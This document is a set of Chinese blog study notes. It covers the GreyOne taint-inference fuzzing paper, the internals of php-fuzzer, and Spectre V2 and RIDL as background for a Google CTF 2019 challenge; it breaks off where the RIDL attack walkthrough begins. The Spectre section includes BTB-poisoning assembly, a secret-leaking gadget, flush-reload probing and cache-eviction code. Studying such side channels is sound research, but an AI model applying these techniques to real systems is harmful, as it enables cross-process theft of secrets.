  2. 这个推理过程是sound,但是不存在over taint的问题,同时对隐式污点传递过程和调用外部函数带来的干扰有一定的免疫能力。

  3. 最大的优点就是避免人为编写污点传播规则,且运行时非常快。

0x02 从直觉出发

  1. 如果当我们改变了输入payload的某一字节,让某个变量的值发生了变化,我们可以推断整个流程依赖于这个字节,无论是显式地传播过程还是是隐式地传播过程(我们是可以忽略的。

    1. 更进一步说明,如果改变这个字节的值,可能满足或者不满足用到这个变量的条件分支中的条件,从而进入新的分支。

0x03 形式化的表示 (推理规则

  1. 假设有一个程序变量 (具体某个指令处) 和 一个输入值 ,用 来表示改变了 的第 个字节的值,用 来表示当输入为 时,变量 的值。所以定义下面的规则用来表示,变量 依赖于输入 的第 个字节。 同理,如果一个条件分支指令的操作数变量依赖于输入 的第 个字节,我们就说这个分支 依赖于输入 的第 个字节,

0x04 与指令级别的taint analysis的区别

  1. 它追踪变量的值,是处于一个更高的层次。

  2. 手动工作少,指令级别的taint analysis需要手动的给每个指令编写传播规则,(平台无关

  3. 从速度上,FTI更快,(1 他依赖于静态的代码插桩而不是动态二进制插桩 (2 它只监控路径条件种的变量,而不是所有程序的变量。 (3 它不需要给每个独立的指令制定规则

  4. 从准确性上,FTI比传统的更准,整个的推导规则是sound,如果一个变量被指定为依赖某个输入的字节,很大程度上确实是这样。 从另一个方面来说,它不会出现over taint的错误,但是是可能造成under taint,通常情况是因为隐式的数据流传播,外部函数和系统调用。

  5. 将它和profuzz的比较起来了,profuzz也是一个一个字节的mutating(用于使数据结构化,但是只关注覆盖率,而不是变量的值。Mutaflow它只监控sink点参数中变量的变化,并不能提供关于其他变量的污染情况,其更关注APIs。

0x05 Taint inference具体细节

  1. 基于一字节的变异

    1. 为什么用每次只变异一个字节
      1. 多字节无法确定究竟是哪个字节影响了变量的值
      2. 一字节变异产生比较少的testcase 和性能开销。
  2. 变量监控

    1. 只监控出现在路径条件里的变量
      1. 监控少量的变量性能更快
      2. 这些变量会影响路径的探索,通过监控来达到探索尽可能多的路径。
  3. 污点推导

    1. 经过 ,如果变量 的值变了,我们就推断 被污染了,且依赖于输入 的第 个字节
  4. 关于整个taint inference的算法

image-20200615224751941

0x06 识别可以直接复制的输入值

  1. 含义是:一些字节上的值,如果导致了变量值的改变,可以保留这些字节上的实际值,例如魔数,checksum,lengt-check,这些精确的值是可以直接替换的。通过识别它们,可以有效解决路径探索上的一些问题。

Taint-Guided Mutation

  1. 通过taint analysis 指导输入的变异过程

  2. 输入决定了覆盖率

  3. 优先选择能覆盖更多未触发的分支输入进行变异

    1. 如何刻画对每个字节进行变异的优先级?(字节的优先级

      1. 触发了更多untouched branch
      2. 触发了更多复杂的程序行为,直到触发了新的branch
    2. 对种子输入的每一个字节,设定变异的优先级,下面是每个字节权重计算的公式:

      因为某一个位置的字节,可能会影响多个路径条件。

  4. 那么如何优先选择怎样的未曾触发的分支,进行变异呢?依赖于前面优先选择输入的过程? (branch的优先级

    1. 如果一个未触发的分支,依赖于输入对应字节的权重之和越大,那么这个分支越越值得优先满足,即有下面的分支权重计算规则。

  5. 当探索一个分支时,通过已经制定好的优先级,对输入进行变异,包括精确的直接替换期望的输入?(在哪里变异 或 怎样变异?

    1. 哪里变异?

      1. 给定一个seed 等价于 给定了一条程序路径,根据前面的分支权重计算的结果递减排序,去探索这条程序路径上周围的未触发的分支路径。

      2. 当发现了一条新的分支路径,我们直接独立的变异其依赖的每一个字节,字节变异优先级按前面字节权重计算的结果递减排序。

    2. 怎么变异输入的直接拷贝?

      1. 核心问题是“如何获取精确的值?”,这个过程处于FTI,如果是常量,我们直接记录这个常量值,如果是类似checksum,需要运行时计算的值,首先构造一个畸形输入,获取运行时的对应值,然后用这个值进行一些细微的修改来满足需求。(这个过程感觉好隐晦
    3. 怎么变异输入的间接拷贝?

      1. 如果一些输入字节会影响某些为触发的分支路径,但是并不会直接在路径条件中使用它们的值,我们将会一个一个地变异这些字节(按照字节权重计算结果),不同于FTI中的byte-level,这里是可以多字节同时独立变异的。
    4. 如何缓解under taint的过程?

      1. 由于FTI得到需要变异字节并不是完整的,所以对于那些没有涉及到的字节也需要考虑变异,所以会以比较小的概率变异FTI得到字节的相邻字节。

Conformance-Guided Evolution(基于适应性指导的进化策略

  1. 为什么要做它:大多数fuzzer都是通过控制流的特性(即输入能触发路径),比如覆盖率,都指导整个进化策略。

  2. 它到底描述的是一个什么东西:tainted variable的值和在路径条件中这个variable期望的值的“距离”

  3. 适应性的计算

    1. 未触发的分支的适应性

      对于给定未触发的分支,依赖于两个操作数变量,定义其适应性约束如下。

      其中返回值为两个参数之间相等的字节数量,类似于switch 语句中条件和case 的值相互依赖。

    2. 基本块的适应性

      对于给定的输入和已经发现的基本块,的适应性约束为其相邻的未触发的分支适应性约束的最大值。(有点绕

    3. 测试用例的适应性

      对于一个给定测试用例,它的适应性约束定义为其路径上所有的适应性约束之和。

      从定义的结构上来看,如果一个seed具有比较大的适应性约束,可能有比较多的未触发的分支,且每个独立的分支具有比较高的适应性约束,其更有可能触发更多的路径。

  4. 基于适应性指导的种子更新

    1. 传统的种子队列,用链表来表示,一个结点就是一个种子,通过扩展每个结点保护多个种子,这些种子是具体相同的执行路径和相同的适应性,但是具有不同的块适应性。

    2. 关于种子的更新策略,有下面三种。

      1. 如果产生了新的执行路径,将创建一个新的结点,用存储这个种子

      2. 如果种子发现已经存在的路径,但是具有更高的适应性,清空这个结点,并把这个种子加入到这个结点

      3. 相同的执行路径和相同的适应性,但是具有不同的基本块适应性,直接将其加入到对应的结点

关于应用方面

  1. 静态分析和插桩
    1. 覆盖率的计算
    2. 适应性的计算
    3. 变量值监控

Evaluation

  1. 基础fuzzer的比较

  2. 目标应用的测试

  3. 性能指标

  4. 种子的初始化 (这是greyone的一个痛点,无法自生成seed

  5. 随机性的缓解

  6. 实现环境

漏洞发现

  1. 独立的crash cases比较
image-20200615225819655
  1. 路径覆盖和边界覆盖的比较

image-20200615225928919 总共发现了105个漏洞,其中25个是已知的,在其余的80个漏洞中,其中有41个被确定为CVE。

深度分析

  1. FTI的性能的分析
    1. 完整性:通过和DFSan的DTA(dynamic taint analysis)引擎比较
    2. 性能消耗

相关的研究

  1. 污点推理

    1. 对传统污点分析的改进

      Dytan 通过跟踪间接污点传播过程来缓解under taint的问题,DTA++ 通过定位隐式数据流传播分支,使用离线式的符号执行来推理污点传播过程,TAINTINCLUDE通过基于测试的方法来自动生成污点传播分析规则,但是这个框架还是太重了。

    2. 基于变异的推理过程

      Sekar采用黑盒测试的方法,利用预先定义的mutate规则来推断污点传播过程,能监测注入类型的漏洞,mutaflow前面提到了,它关注APIs,即source。REDQUEEN通过随机变异策略给输入着色,用以推断污点情况!!!!!Fairfuzz和ProFuzzer都只是通过监控CFG的变化。

  2. 种子变异

    1. 基于静态分析的优化
    2. 基于学习模型
    3. 基于符号执行
    4. 基于污点分析
  3. 种子的选择和更新

感谢宫老师从大学开始的相遇相知,愿意指导我系统的总结论文!

php-fuzzer

TL;DR

这是一个比较有启发意义的项目,把现代fuzzer中的coverage guided的形式应用到了php上,现在对于php应用的安全的测试主要分布在基于黑盒的reqeust和response动态测试和静态的白盒审计,还有一个比较有前景的rasp,但是需要涉及php的内核。

php-fuzzer这个项目,我其实以前在想过一些方面的问题,但是又想到php应用太依赖于输入了,比如一个请求可能对应的一个单独的处理过程,但是这个调用过程并不是显式的,比如php里面的autoload,相当于一个间接调用,间接调用在静态分析过程中是非常致命的,往往不能找到准确的CFG(control flow graph),没有准确的CFG,就很难有准确的DFG(data flow graph). 种种原因很难在php下实现比较好的安全测试。

在这篇文章里面,我想讲一下php-fuzzer的原理和比较有意思点,它的作者是写php-parser的作者,php-parser这个项目就不用吹了。

0x00 整体架构

要分析一个fuzzer,应该从三个角度来看:

  • 输入产生的机制
  • 输入传递的机制
  • 监控被测系统的机制

这个项目需要php > 7.4, 因为用一个php的新特性强类型--typed php ,看来php真在向java发展。

0x01 Generator

前面说了这个项目是基于覆盖率反馈的,那么它是如何计算覆盖率呢?其中一个比较重要的概念就是基本块(basic block), 为了提供基于覆盖率的反馈,需要给每个基本块一个独一无二的命名,并且在基本块结尾插入额外的代码,用来作为反馈,表示在一次执行的过程中,经过了这个基本块。

Hook include

php-fuzzer也是遵循了上面的过程。需要对被测php应用,进行语法分析,划分基本块,插入额外代码,重塑被测php应用。php-fuzzer使用的是动态插桩,并不会改变原php应用本地代码。这就涉及到如何在运行被测php应用的过程中去插桩?

运行一个php应用通常是以一个php文件作为入口点,然后动态的包含其他文件。如果我现在要去运行一个php应用,除了通过命令 php target.php 还可以 我重新使用一个new.php去动态包含target.php,然后php new.php。

如果有一个方案是在include某个php文件之前,对这个php文件内容动态插桩,通过这个方案,我就能对整个php应用进行插桩,但是有一个问题是如何hook include? 我们不能去改变被测php应用的本地代码,而且如果改php内核来实现又太过于复杂,没必要。

所以在php-fuzzer里面第一个有意思的地方在这里,如何在php代码层面动态的hook include和require, 作者这里用了一个有意思的库https://github.com/nikic/include-interceptor, 通过stream_wrapper_register来实现,为什么hook file:// 协议就能hook include呢?因为在php内核里面对于IO的处理都有不同协议的wrapper, 对于include本地文件,那就是使用的file:// 协议的wrapper, 如果include 远程链接,就是使用的http://的wrapper。

用了上面这个办法,php-fuzzer就能实现在动态include目标文件之前改变文件内容实现插桩。

插桩

插桩相对来说好理解,先通过php-parser生成目标php文件的语法树,构造自定义的visitor,针对指定的节点插入额外反馈代码。

1
2
3
$___key = (Context::$prevBlock << 28) | BLOCK_INDEX;
Context::$edges[$___key] = (Context::$edges[$___key] ?? 0) + 1;
Context::$prevBlock = BLOCK_INDEX;

其中基本块的命名通过一个累加变量来实现

1
2
3
4
5
public function getNewBlockIndex(int $pos): int {
$blockIndex = $this->blockIndex++;
$this->fileInfo->blockIndexToPos[$blockIndex] = $pos;
return $blockIndex;
}

edge的定义为 prevBlockIndex << 28 | curBlockIndex,前一个块index左移28位或上当前块index,就是一个边界的命名。怎么划分php里面的基本块呢?

  • 逻辑结构
    • if
    • else if
    • else
    • while
    • for
    • case
    • catch
    • switch
    • ...
  • 逻辑运算
    • &&
    • ||
    • ==
    • !=

上述目标节点都可能影响控制流,针对不同的节点,插桩方法也不同,例如:

1
2
3
4
if($condition){
//$stub
}
//stub

没有else的if 需要再上面两个地方插桩,但如果有esle的if,又有不同

1
2
3
4
5
if($condition){
//$stub
}else{
//$stub
}

现在这个if结构外面就不需要插桩了,还需要考虑一种情况:

1
2
3
if($condition1 && $condition2 //$stub){

}

上面插桩是额外的stmts而不是表达式,所以这里需要额外引入一种关于expr插桩的技巧:

1
2
3
if($condition1 && trace($conditions2)){

}

这里trace的返回值还是$conditions2不影响整体的逻辑。上述问题php-fuzzer均有考虑,这里就介绍完了一些插桩里面的小技巧,有点类似注释的fuzzer。

语料&&输入队列

输入可以用户提供,也可以初始化动态生成,一次输入执行的结果,就是关于edges[edge=>hit]的数组,需要进一步抽象相关的关系:

1
2
3
4
5
6
7
8
9
10
11
12
//count
//0: 0 hits
//1: 1 hit
//2: 2 hits
//3: 3 hits
//4: 4-7 hits
//5: 8-15 hits
//6: 16-127 hits
//7: >=128 hits

$feature = $count << 56 | $edge
//前面prevblock 和 curblock 的index使用了前56位,总体是64int

对比每次一次执行结构里面features,记录新的feature,如果有新的feature,就代表当前输入是能触发新的执行路径,就把当前的输入加入到输入队列,语料就是输入队列中总的输入字符串。

其中有一些小策略,两次输入有相同的features,取最短的输入,删除队列里面较长的输入。php-fuzzer也有精简输入语料的功能,保留最短和有不同features的输入。

输入变异和交叉

php-fuzzer有不同的变异策略,同样也有交叉策略,使用两个输入构造新的输入,其中相关函数都是基于libfuzzer,也有libfuzzer里面字典策略,字典策略有时候能提高效率,减少畸形的输入。

其中也有一个扩展输入长度的策略,如果在某个输入长度,迭代次数超过了相关最大次数,就可以尝试扩展输入长度的上限。

这些策略都是一些常规随机策略。

0x01 delivery

其中的输入传递策略,也就是我之前说通过include来执行目标php应用,所以再使用php-fuzzer之前你需要写一个target.php,php-fuzzer通过include这个target.php实现动态插桩和来设定输入目标,通常是是一个闭包函数。可以看看项目下example里面的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php declare(strict_types=1);

/** @var PhpFuzzer\Fuzzer $fuzzer */

$autoload = __DIR__ . '/PHP-CSS-Parser/vendor/autoload.php';
if (!file_exists($autoload)) {
echo "Cannot find PHP-CSS-Parser installation in " . __DIR__ . "/PHP-CSS_Parser\n";
exit(1);
}

require $autoload;

$fuzzer->setTarget(function(string $input) {
$parser = new Sabberworm\CSS\Parser($input);
$parser->parse();
});

其中包含traget.php的过程在php-fuzzer中也是闭包执行,用来传递$fuzzer实例。

1
2
3
(static function(Fuzzer $fuzzer) use($path) {
require $path;
})($this);

0x02 monitor

我之前也好奇什么时候代表目标应用存在问题?二进制程序有crash或者hang可以代表问题的发现,php库类应该不会发生crash,php代码默认内存安全?其中相关php库类也应该有自己的错误处理机制。php-fuzzer对于错误的发现代码量也很少:

1
2
3
4
5
6
7
8
9
10
11
12
$crashInfo = null;
try {
($this->target)($input);
} catch (\Exception $e) {
// Assume that exceptions are not an abnormal conditions.
} catch (\ParseError $e) {
echo "PARSE ERROR $e\n";
echo "INSTRUMENTATION BROKEN? -- ABORTING";
exit(-1);
} catch (\Error $e) {
$crashInfo = (string) $e;
}

从代码上来看期望的Error的产生,对于为什么这样,作者给相关解释说:Exception的抛出通常是因为被测应用的自身错误处理的反馈,还有一个ParseError可能在插桩过程由于php文件本身问题解析语法树发生的问题。Error产生于php本身造成的错误。

php-fuzzer 注册了错误处理的handler, 当php内部错误触发时,能及时抛出一个Error:

1
2
3
4
5
6
7
8
set_error_handler(function($errno, $errstr, $errfile, $errline) {
if (!(error_reporting() & $errno)) {
return true;
}

throw new \Error(sprintf(
'[%d] %s in %s on line %d', $errno, $errstr, $errfile, $errline));
});

同时也考虑php代码本身的逻辑除外,超时也抛出一个Error,可能当前输入陷入死循环。在错误机制的处理过程也可以看到,能检测的代码问题本身还是比较局限。并不是用来检测通常web安全里面存在的问题。

0x03 思考

这个项目整体给我还是很有启发的,这是一次有意思的尝试,其中也有人在twitter上问作者本人这个东西和其他的php lib的检测有什么不一样?也有人把它和fuzz PHP内核方面搞混,它的意义在于把modern fuzzer 技术尝试到了php应用层面上。可能在php代码动态插桩和边界计算有些昂贵,正如作者说的那样,静态属性的边界表示确实很昂贵,可能考虑把这个插桩过程放在一个php 扩展上。那么试想把这个工作放在php 扩展上,需要做哪些工作呢?其实是相同的过程,php内核里面也有ast的中间过程,所以我们需要插入的是opcode中间指令,opcode抽象成函数调用,参数是特殊的基本块标志,类似LLVM里面的asan,同时也提供php层面的函数计算覆盖率。

如果把这个项目的方法 试着推广到一般web应用,其实是比较难的,还是前面那个问题如何解决间接调用,解决不了间接调用就没法构造正确的执行路径,如果尝试结合黑盒测试,爬虫拿到有效的链接,我们可以忽略前置路径的构造,然后结合php source的插桩,这种情况下我们能探索什么问题,肯定不是一般的安全问题,因为一般的安全问题,黑盒测试构造的payload足以覆盖,可能是更深的逻辑问题? Open Problem )

ridl-and-spectre

1. 关于

本文记录了当时学习google-ctf-2019-final中sandbox-ridl过程,其中sandbox-ridl是一道关于处理器安全的题。

首先我们简单介绍一下这道题的相关情况,在一开始给的hints就直接清晰地暗示了我们它的来源,点明了给的代码本身并没有明显的缺陷,也比较容易理解。原程序会在一开始fork一个子进程,然后两个进程会做一些不一样的事,我们分别来看。

  • 在父进程中会将目标flag放到全局变量char flag[25]中,然后挂起了一个循环操作,会使得全局变量readme所在地址对应的cache line被不断加载到cache中然后就马上清除掉,父进程会等到子进程结束而退出. 不出意外,这个奇怪循环操作肯定会引发一些目前我们还不知道的问题。
  • 而在子进程中,mmap了两块可读可写可执行内存,我们可以利用其中一块内存执行代码,但是由于通过seccomp限制了我们只能使用read, write, exit三个syscalls. 所以这里要做事就是在受限的子进程中想办法拿到父进程中的全局变量flag的值,很显然这里可用的syscalls并不足以支撑我们做跨进程leak,只能从题目给的hints出发。

从题目的名字,搜到了名为RIDL: Rogue In-Flight Data Load的一篇论文,论文中提到的处理器中的预测执行 (speculative execution),让我想起了之前在先知看到的一篇文章深入Spectre V2——跨进程泄露敏感信息。 我只是隐约记得这篇文章,其内容当时也不是看的很懂,决定再来看一遍,所以本文也记录了学习Spectre的过程。

2. Spectre

2.1 前置知识

攻击手法如其名“幽灵”,在了解它之前,需要先恶补一些基础知识。

2.1.1 乱序执行 (Out of Order Execution)

发展历程:顺序执行 --> 流水线执行 --> 乱序执行, 我们将用图示来介绍这一演变过程。 顺序执行 在顺序执行下, 指令将逐一处理,意味着一条指令要等到前一条指令处理完毕后才能被执行。 流水线执行 当加入了流水线的技术,我们使用不同的流水线处理不同的指令,比如上图有4个流水线,用来分别处理fecth, decode, executewrite,最后我们在9个cycle内多处理了一倍多的指令,效果显著,但是流水线上的指令依然还是顺序执行的。 等待现象 在现实情况下,考虑到每条指令的执行时间并不是相同,或长或短,就会造成上图的这样一种等待现象。 乱序执行 我们考虑这6条指令相互并不依赖, 因此我们可以调整指令的执行先后顺序, 上图中我们把inst1放到了最后, 使得等待现象消失, 流水线被充分地利用了起来. 最后附上一张intel核心处理器的流水线图: intel流水线处理图

2.1.2 推测执行 (Speculative Execution)

乱序执行原则上是需要充分考虑指令之间的数据依赖关系,依赖关系出现时依然会导致流水线空转,比如条件跳转,当这个指令没有retire之前,微处理器甚至都不知道去哪里fetch下一个指令。为了解决这个问题,微处理器会尝试推测哪一个分支最有可能被执行,并在条件跳转retire之前在流水线上执行对应的分支,这样的操作我们称之为推测执行。很容易想到,它推测的结果并不一定和最后条件跳转结果相同,这个时候我们就不能把这个invalid results更新到寄存器或者内存上,这可以看做一次branch misprediction,其中执行的时钟周期也是被浪费了。为了尽可能减少branch mispredictions, 又衍生出了很多优化操作. 比如饱和式计数器 (saturating counter),下图为2-bit饱和式计数器,它有4个状态,我们可以用它来记录更新某个条件跳转指令的历史结果,只有当状态为strongly taken或者strongly not taken,我们才选择去对应的分支或者对立的分支. 这种方法对那些大部分时间都选择相同分支的条件跳转指令来说非常合适,但是对应那些经常改变分支选择的条件跳转并不友好。 2-bit饱和式计数器

2.1.3 分支预测 (Branch Prediction Unit)

这个单元主要用于优化上面整个流水线图中的instruction fetch部分,在完成分支跳转整个周期之前,预测性选择分支执行。主要优化以下部分: 1. Return Stack Buffer (RSB)用来帮助预测ret指令的执行。 2. 间接调用和跳转可能被预测为一个源地址到目的地址的简单映射,也可能根据程序之前运行的状态和行为来预测目的地址。 3. 针对条件分支,用于预测哪个目的分支应该被执行。

2.1.4 访存周期

这里需要了解一下 TLB 和 cache的含义,TLB用于mmu在虚拟地址与物理地址的快速转换,物理内存和虚拟内存通过页交换,物理页和虚拟页的大小一样都是4096,所以虚拟地址上低12位用于在页上偏移。

在完成物理地址的地址转换以后,再访问cache,cache的一般架构为n路组相联: 5DDB9DC5-3D66-415A-800F-9175DBC7A40A.png

这里就是4路, 整个cache大小为64 * 64 * 4 = 16kb,其中关于set的计算: 93EFBF4E-E7DE-41BE-ABC5-883E48099127.png tag只是部分物理地址,cacheline长度一般为64bytes,所以这里低6位用于对齐cache-block,紧接的6位用于标记set,看上去cache有点像hashtable,4路相当于有4个buckets,意味着任意一个cacheline都可能位于这四个cacheline其中一个位置上,这就关系到cache 的插入算法上。如果cache 缓存没有命中就需要去访问主存了,这其中的时间周期就很显然易见了,了解cache的结构有利于后面过程的理解。

2.2 攻击流程

2.2.1 基础设施

CPU中会利用Branch Target Buffer (BTB) 用来存储预测状态,在intel Haswell上是一组index为部分源虚拟地址,value为部分目标虚拟地址键值映射序列,其中部分是指低31位虚拟地址。

BTB中的每个映射单元是不存在唯一性的,即在相同cpu核心上所有运行的进程是共享的,如果通过A进程中分支运行结果填充BTB,是不是可以跨进程影响到B进程的分支预测,利用错误的分支预测制造一个短暂的执行窗口去执行任意目标地址的gadget?

答案是yes。Spectre也正是利用了这一点,但是实际上并没有想象的顺利,在intel Haswell中BTB仅用于通用分支预测,cpu更倾向于采用一种叫间接分支预测: btb.png

只有当间接分支预测失败的时候,才会去使用通用分支预测,这时候需要考虑如何干扰间接分支预测,从学习资料的看到,这里有两种方法,一个是对间接分支预测这个模式进行逆向,而是猜测并实验,间接分支预测会采用之前分支执行,那么从三个方面猜和做实验:

  1. 储存的之前分支执行的什么信息?
  2. 储存了多少的分支执行的记录?
  3. 储存的是什么样的分支执行:call , jump , ret ,conditional branch ? 或者说什么分支执行对BHB影响最大?

结论:BHB的长度为58bits,可以记录29个分支。满足条件的分支,无条件直接跳转,无条件间接跳转,ret对BHB影响较大。其中的任何一种分支类型作用效应上都是相似,意思是可以单纯使用大量单一ret来填充BHB,对其产生干扰。

其中猜测和做实验的基本模型值得学习:

1E1CB018-98EF-4799-8C75-F0AA6A2E0A69.png

进程1和进程2的,相同的代码,内存分布基本完全一样,同时运行在同一个核心上,不同是call的目标地址不一样,进程2循环去读一个test变量,进程1测量读test变量需要的周期,由于可能产生的错误预测,导致进程1去提前读test变量,导致cache缓存test变量,紧接着测量的周期小与从主存读取的周期,这就是标准的flush-reload攻击。这里我之前会简单的认为两个进程共享test变量,会造成歧义的理解,这里test是各自进程的独有的,所以这里需要注意一下。这是一个非常好的基础实验模型,可以通过在indirect call之前添加其他需要测量的指令,看反馈,比如简单的判断BHB记录的分支个数,可以累计添加分支执行来进行计算,如果某一时刻misprediction失败,添加分支的总数就是BHB可以保证的最大分支记录,这是一种粗略的计算,作者也说这样计算的结果其实和真实的26是有一定差距的。但是在测试不同分支类型的对mispreditcion的影响还是非常有作用的。

2.2.2 具体的攻击流程

需要理解为什么通过这中攻击去泄漏数据?因为错误的分支预测会制造一个短暂的执行窗口,这个执行的位置是可控的,虽然错误的执行,处理器会读其忽略,并恢复它产生的印象,但是例如在错误执行的过程中设计到一些数据的储存,这些数据可能会被写入cache,而cache里面的数据并不会被忽略,即处理器不会回滚cache的状态,这就相当于我们可以利用cache形成一个隐蔽信道来泄漏数据。

这里只讨论跨进程的泄漏,从整体上可以分为攻击者进程和受害者进程,这里总结一下《深入Spectre V2——跨进程泄露敏感信息》文章中的demo:

  • 攻击者和受害者有简单信息通信,代表攻击者有比较小的权限可以控制受害者。
  • 影响分支预测的点在于受害者plt中跳转sprintf@got的表项
  • 关闭地址随机化带来的影响,攻击者fork一个新的受害者子进程成为训练进程,在其内存空间内把sprintf@got位置的地址换成指定gadget_1的位置,ptrace注入代码循环调用,毒化BTB通用分支预测,并且干扰BHB的分支缓存:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    loop:
    mov rax, sprintf@plt # sprintf@plt == 跳转的源地址
    call rax
    jmp loop

    gadget_1:
    ret
    ret
    ret
    ret
  • 受害者进程内存地址中和gadget_1相同虚拟地址的位置保存着真实的gadget_2:
    1
    2
    3
    4
    5
    __asm__(".text\n.globl gadget\ngadget:\n"       //编到.text段,导出gadget符号
    "xorl %eax, %eax\n" //清空eax
    "movb (%rdx), %ah\n" //rdx可以被攻击者控制
    "movl ProbeTable(%eax), %eax\n" //访存
    "retq\n");
    受害者在通用调用sprintf的时候,可控是第三个参数rdx,ProbeTable是一块预先分配的共享内存,上面这段汇编主要就是用来将指定地址的字符转换成ProbeTable的地址,注意这里为什么要存储到ah中,主要用来对齐cacheline。

-攻击者进程还需要fork一个进程用来驱逐sprintf@got处的缓存,保证在这里产生分支预测。

  • 最后攻击者通过探查ProbeTable上256个字符对应的cacheline访存周期,通过多次发送目标地址的字符泄漏,多次探测设定命中阀值,输出泄漏结果。

2.2.3 思考

这个过程中我注意到两个比较有意思的, 第一个是探测ProbeTable的过程并不是顺序的:

1
2
3
4
5
6
7
for(j = 0; j < 256; j++){
index = (j * 167 + 13) & 255; //
address = &mm[index * 0x100]; //
if(probe(address)){
...
}
}

对一个每个cell并不是从0-255顺序来探测的,其中在另一篇文章中提到是用来防止步幅预测的,这个地方可以留下一个疑问。

第二个, 驱逐sprintf@got处缓存的内容中并不是单纯使用clflush指令,而且通过sprintf@got确定缓存其的cache-set,固定cache-set,然后循环递增低12位bit后面bit位,相当于改变tag,并访问:

1
2
3
4
5
6
7
8
9
unsigned long off = ((unsigned long) ptr) & 0xfff;          //取低12位,确定cache-set log2(num_buckets) bits (e.g. 6) + log2(cacheline_size) bits (e.g. 6)  
volatile char *ptr1 = space + off;
volatile char *ptr2 = ptr1 + 0x2000; //两次刷新
for (int i = 0; i < 4000; i++) {
*ptr2; //刷新 == 替换 类似于hashtable
*ptr1; //替换got所在的cache-set
ptr2 += 0x1000;
ptr1 += 0x1000;
}
这种方法变相插入直接刷新来整个cache-set,那么sprintf@got肯定也受到影响了。

这个demo的局限性还是比较大的,gadget是直接写到受害者text里面,关闭了pie消除了地址随机化的干扰,还需要一块共享内存。但是还是不影响这个攻击手法是非常有意思的,分支预测导致的短暂的执行窗口,除了cache能保存一些数据,是否存在一些其他的缓存单元也能保存一些数据呢?

3. RIDL(Rogue In-Flight Data Load)

3.1 基础设施

ridl属于MDS(Microarchitectural Data Sampling)类型攻击的一种,它并不是一种设计产生的漏洞,而是一种应用上的漏洞。这是它与spectre最大的不同。为什么这里会用“Sampling”这个词?在描述完整个攻击手法之后,就可以解释这个问题。

3.1.1 intel TSX

这个前置知识我认为非常重要,不然会很难理解后面的攻击流程,这是一种基于硬件的事务内存同步机制的优化,避免一些无意义加锁变量,我的理解就是相当于把一块指令集合当作一个原子操作,这些指令读写操作在一个特殊区域中,只有在读写与其他逻辑处理器之间没有冲突的情况下,并且完成了整个集合指令的执行,才能把这个集合产生的状态影响从特殊区域里面拿出来,对全局可见或者说写到主存上。

这个读写特殊区域在哪呢? 在L1d cache里面,在这块指令集合中,需要读的内存单元组成一个read-set, 需要执行写的一些内存单元,这些内存单元组成一个write-set,这些集合元素都以cacheline存储在L1d cache里面。比如read-set里面一个内存单元,肯定L1 某个set中cacheline上,如果这个cacheline改变了,比如另外一个逻辑处理器把这个cacheline驱逐了,这个时候就会导致冲突的产生,这块事务内存操作就会失败。简而言之,就是读写都在cache上,read-set和write-set对应的cacheline不会被改变就行,当然了如果说一些长度比较长的变量,无法被缓存的数据,可能会直接导致事务内存执行的失败。

3.1.2 L1d Cache的组成

  • Data Cache Unit (DCU) 数据缓存单元 32kb-8way
  • Load buffers 64-entry
  • Store buffers 32-entry
  • Line fill buffers (LFB) 10-entry

由上面4个单元组成,后面是Sandy Bridge Microarchitecture的标准参数,DCU 大小是32kb,8路组相联,通过简单的换算有64个set,有两个Load 和 Store 缓存器,L1可以同时维护64个Load操作,32个store操作。LFB用来维护非时间局限性的数据,即确保后面不会再次访问的数据。概览图如下:

651FB45F-A784-4273-A312-C15879ACE80D.png

3.1.3 Line fill buffers (LFB)

可以看到在访问L1d cache之前是会经过LFB的,这个LFB用来干什么呢?从数据load的说起,每一个load操作的开始都会在load buffers里面创建一个entry,表示load处于pending状态,紧接着需要完成虚拟地址到物理地址的转换,前面到的TLB就是用于这个过程的优化,如果TLB没有命中,那就要去遍历页表,完整地址转换,接着用低12位去确定在cache中位置,那么首先就是L1d,如果在L1d被命中,那么这个load操作就完成了。

如果说L1d并没有命中,那这个时候就需要访问更高一层的cache或者主存,这时候就需要经过LFB,会在LFB同样创建一个entry,这个时候如果说是uncacheable 内存块或者是non-temporal ,LFB就会去访问主存,LFB在完成读取操作以后,可以决定是否再把这块数据是否再放到L1d中,完成整个操作之后,LFB中的entry才会被移除。LFB里面会有一段时间来保留存储的数据,这些entry里面的数据称为in-flight data。

这些LFB里面的entry 可能为了尽可能减少延时,可能只会保留少部分物理地址tag,那么紧接着又来一个load操作,可能就会直接使用这些entry,有点像在硬件层面的 use-after-free,这就是RIDL泄漏的根源所在。

3.2 猜测与实验

在《RIDL: Rogue In-Flight Data Load》这篇论文中,在探索leak的源头的时候,做来3个实验,用来进一步确定泄漏的源头在LFB上。

  1. 同核心smt 超线程下,开启受害者进程和攻击者进程,lfb-hit 计数器的值是和攻击过程中leak到正确字符的次数是成正比的。
  2. 同核心非smt超线程下,没有受害者进程,只有攻击者进程,只能leak到0,并且同样lfb-hit计数器的值也是攻击过程leak到字符的次数是成正比
  3. 同核心非smt超线程下,受害者进程和攻击者进程都存在,只能leak出少部分正确的字符,同样lfb-hit计数器同leak字符个数成正比的。

上述三个对照实验为一组实验受害者进程循环把敏感字符写到固定的位置,攻击者用RIDL exploit代码进行leak。

  1. 通过内核模块把内存分别标记为write-back,write-through,write-combine,uncacheable,对应着不同cache方式。
  2. 受害者进程先把敏感字符写入固定的位置之后,循环读取该字符。攻击者用RIDL exploit代码进行leak。
  3. 对照情况下,同样受害者进程先把敏感字符写入固定位置,循环读取并刷新cache。攻击者用RIDL exploit代码进行leak。

结果是WB 和 WT在没有刷新cache的情况下,是无法leak出敏感字符,刷新以后就可以leak了。上一个实验说明leak是和LFB有关的,这个实验又进一步说明和LFB有关,因为在WB和WT情况下,load操作的数据被缓存了,再次读的时候不需要经过LFB。使用无法leak。

  1. 受害者进程循环把ABCD写入到固定位置,攻击者进程用RIDL exploit代码进行leak。
  2. 对照情况下,受害者进程循环把ABCD写入到固定位置并刷新cache,攻击者用RIDL exploit代码进行leak。

结果是在WB的情况下,只能leak到字符D,这是由于WB cache写机制的原因,在这种机制下,写到cache的值,不会直接同步主存,但会被标记,只有在主动刷新或者被其他cacheline插入驱逐的时候,才会同步到主存。可能在这种情况,LFB里面4个store操作使用一个entry。也强有力的说明了leak与cache无关。而是在LFB上。

3.3 攻击流程

这里就用google-2019里面的 sandbox-ridl来概述:

